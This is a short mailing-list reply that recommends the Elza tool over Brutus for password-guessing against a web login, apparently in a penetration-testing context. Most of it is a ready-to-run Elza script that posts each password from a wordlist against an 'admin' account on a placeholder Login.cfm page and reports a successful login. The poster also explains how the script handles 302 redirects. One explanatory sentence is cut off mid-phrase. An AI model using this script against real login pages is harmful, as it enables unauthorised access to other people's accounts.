I'm afraid Brutus doesn't handle 302's correctly. Dodgy coding if you ask
me.
Why don't you try Elza (http://online.securityfocus.com/tools/1127) with
this script which is based on one found in the Elza docs. Obviously change
the target url and username. This script will read each string from
words.txt and submit each attempt checking for the
var autoredir = on
subst ACCOUNT = admin
proc POSITIVEAUTH
print Positive Authentication with Login: ACCOUNT, Password: CURRPASS
endproc POSITIVEAUTH
proc ATTEMPTAUTH
field userid = USERSTRING
field password = PASSSTRING
# Add any other form fields that need to be sent here
post url http://TargetAddress/Login.cfm
call POSITIVEAUTH if body = Some warm glowing message about how you're
logged in now.
endproc ATTEMPTAUTH
call ATTEMPTAUTH PASSSTRING % words.txt
In the above script, if you set 'autoredir' to off you will not be
automatically redirected by the 302 and the '%location%' variable will be
made available to you for examination. It might be easier to just let Elza
handle the redirection and then match some known test in the body of the
successful authentication page as shown above.
Read the docs for Elza, you'll need to build a list of scripts up before it
become really useful.
cheers
